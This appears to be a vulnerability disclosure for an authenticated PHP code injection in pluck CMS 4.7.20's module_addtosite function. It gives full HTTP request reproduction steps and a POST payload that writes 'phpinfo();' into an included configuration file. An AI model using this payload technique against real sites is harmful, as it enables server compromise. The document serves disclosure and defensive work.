
pluck-CMS-4.7.20-code-injection-vulnerability
In admin.php, the module_addtosite function iterates through the entire $_POST array, splits the user-controllable parameter names using explode('|', ...) and directly concatenates them into data/settings/themes//moduleconf.php. This file will subsequently be included in the backend page and frontend theme_area() rendering process. Since the parameter names have not undergone whitelist verification and security escaping, attackers can contaminate executable PHP files, leading to code injection vulnerabilities.
Project address:https://github.com/pluck-cms/pluck/
Reproduction environment:pluck-CMS-4.7.20 Apache2.4.39 PHP7.3.4 MySQL8.0.12
1、First, install a brand-new environment.
2、Access the "/login.php" page, log in to the administrator's account, and after successful login, note down the current Cookie as follows: login_history=1%7Cd1cca638fd415f8faca3e58d5c75832d; PHPSESSID=065b37ga6e7u45e6bocd02if0j
GET /admin.php?action=start HTTP/1.1
Host: 10.142.77.31
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:148.0) Gecko/20100101 Firefox/148.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.9,zh-TW;q=0.8,zh-HK;q=0.7,en-US;q=0.6,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://10.142.77.31/login.php
Connection: close
Cookie: login_history=1%7Cd1cca638fd415f8faca3e58d5c75832d; PHPSESSID=065b37ga6e7u45e6bocd02if0j
Upgrade-Insecure-Requests: 1
Priority: u=0, i
3、Send a POST data packet, with the injected code being "phpinfo();"
POST /admin.php?action=module_addtosite HTTP/1.1
Host: 10.142.77.31
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:148.0) Gecko/20100101 Firefox/148.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.9,zh-TW;q=0.8,zh-HK;q=0.7,en-US;q=0.6,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://10.142.77.31/admin.php?action=start
Connection: close
Cookie: login_history=1%7Cd1cca638fd415f8faca3e58d5c75832d; PHPSESSID=065b37ga6e7u45e6bocd02if0j
Upgrade-Insecure-Requests: 1
Priority: u=0, i
Content-Type: application/x-www-form-urlencoded
Content-Length: 40
save=1%3Bphpinfo%28%29%3B%2F%2F%7Cm%3D11
4、Access the root directory of the website, and it will redirect to the homepage. It is found that the injected code has been executed. 图片